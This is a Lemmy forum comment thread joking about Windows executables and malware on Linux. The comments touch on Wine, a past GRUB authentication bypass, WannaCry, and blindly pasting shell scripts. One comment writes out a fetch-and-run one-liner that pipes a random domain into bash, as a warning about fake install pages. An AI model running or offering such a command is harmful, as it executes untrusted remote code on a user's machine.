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    [–] mvirts@lemmy.world 9 points 8 hours ago

    And then it starts running because you set up wine with binfmt_misc, only to crash a few seconds later

    [–] Zacryon@feddit.org 11 points 10 hours ago (2 children)

    Remember that time, when it was possible for about 6 years to hack into any Linux system (without drive encryption) which had GRUB by pressing backspace exactly 28 times? Yeah, good old times.

    https://www.hmarco.org/bugs/CVE-2015-8370-Grub2-authentication-bypass.html

    [–] FiskFisk33@startrek.website 8 points 5 hours ago

    If the adversary has physical access you are generally pwned either way

    [–] SynopsisTantilize@lemm.ee 3 points 5 hours ago

    Breh. What? I feel naked right now.

    [–] diemartin@sh.itjust.works 94 points 17 hours ago (1 children)
    [–] Jumpingspiderman@lemmy.world 11 points 12 hours ago (2 children)

    Why does your admin account look like a scrotum?

    [–] PixelPinecone@lemmy.today 8 points 12 hours ago

    Yours doesn’t?

    [–] diemartin@sh.itjust.works 4 points 11 hours ago

    Maybe because scratching an itch there is generally seen as a bad move if you don't know what you're doing.

    [–] kamen@lemmy.world 114 points 22 hours ago* (last edited 14 hours ago) (6 children)

    ... and yet some of the same people will readily copy-paste random shell scripts into their terminal without fully understanding them.

    [–] Huschke@lemmy.world 79 points 22 hours ago (1 children)

    But a forum post said it would fix my issue.

    [–] Mutelogic@sh.itjust.works 33 points 22 hours ago (1 children)

    I feel like there's some truth to this!

    If the posted answer was in a moderately active thread, you can generally assume it's correct if there are no contradictory replies.

    [–] lemming741@lemmy.world 29 points 22 hours ago

    If the thread has been dead a few weeks, they could edit their post. Or if it pulls a objects, those objects could change.

    [–] possiblylinux127@lemmy.zip 32 points 20 hours ago* (last edited 20 hours ago)
    curl gu5usgugiv.lol | bash || curl get.k3s.io | bash
    

    Someone did something similar to this with a fake brew package manager page. They paid Google to put it on the front page.

    [–] Rooty@lemmy.world 47 points 22 hours ago (1 children)

    Raises hand I might be some people πŸ₯Ί

    [–] some_random_nick@lemmy.world 8 points 16 hours ago

    There's some people in all of us

    [–] jaggedrobotpubes@lemmy.world 2 points 13 hours ago (2 children)

    ...so, never put things in the terminal?

    [–] PieMePlenty@lemmy.world 5 points 12 hours ago

    In fact, you should delete the terminal altogether. On a related note, powershell access is considered taboo in corporate environments by IT departments. When security audits are done, you lose a point if powershell can be used. It is in fact considered a hacking tool.

    [–] null@slrpnk.net 1 points 12 hours ago
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    [–] Emerald@lemmy.world 2 points 10 hours ago

    Well if the exe was in a bottle it would be dangerous.

    https://usebottles.com/ :D

    [–] cappa@feddit.org 163 points 1 day ago (2 children)

    This is were WINE comes handy /s

    [–] SapphironZA@sh.itjust.works 9 points 13 hours ago

    Virus running in wine: "WTF is this place. It's familiar, but it's all wrong!"

    [–] Kusimulkku@lemm.ee 58 points 1 day ago (12 children)
    [–] RogueBanana@lemmy.zip 26 points 22 hours ago

    WannaCry is believed to use the EternalBlue exploit, which was developed by the U.S. National Security Agency (NSA)to attack computers running Microsoft Windows operating systems.

    Hehe

    [–] umbrella@lemmy.ml 16 points 22 hours ago* (last edited 22 hours ago) (1 children)

    now im really tempted to try it, we have a decryptor now dont we?

    inb4 decryptor: borked

    [–] Kusimulkku@lemm.ee 31 points 22 hours ago* (last edited 22 hours ago)

    What works

    Encryption - Yes

    GUI - Yes

    What does not

    SMB & Network replication does not always work, may require SMB network patch.

    See: Misc Things to configure (Samba Shares)

    Some Font rendering issues.

    What was not tested

    Decryption

    Ransom Payment

    Uh oh. And giving it "platinum" even though some stuff doesn't work and basic features weren't tested is bullshit. I demand a retraction!

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    [–] apex32@lemmy.world 51 points 1 day ago (2 children)

    A friend of mine once downloaded something malicious to his Linux machine and wasn't worried about it. Then some time later, while browsing his files from a Windows machine, saw it and was like, "hey, what's this?" Oops.

    He's a tech savvy guy, so I'm guessing the fact he had downloaded it himself really let his guard down.

    That's why you don't store your stool samples in the same fridge as your chocolate pudding. Malware goes into the vault.

    [–] cmgvd3lw@discuss.tchncs.de 25 points 22 hours ago

    That's another reason not to dual boot. Ditch Windows.

    [–] Lime66@lemmy.world 75 points 1 day ago

    Wine automatically running:

    [–] daggermoon@lemmy.world 36 points 1 day ago (4 children)

    It does if you right click it and run with wine or whatever it says

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    [–] lath@lemmy.world 47 points 1 day ago (12 children)

    Modern viruses check the os before deciding which type of file to send your way.

    [–] LordKitsuna@lemmy.world 53 points 1 day ago (20 children)

    This is why you use a user agent switcher to lie about being windows. It's a form of anti malware!

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    [–] chottomatte@lemdro.id 2 points 14 hours ago

    Wrong location my dear

    [–] HStone32@lemmy.world 6 points 18 hours ago

    The virgin bin vs the chad .exe

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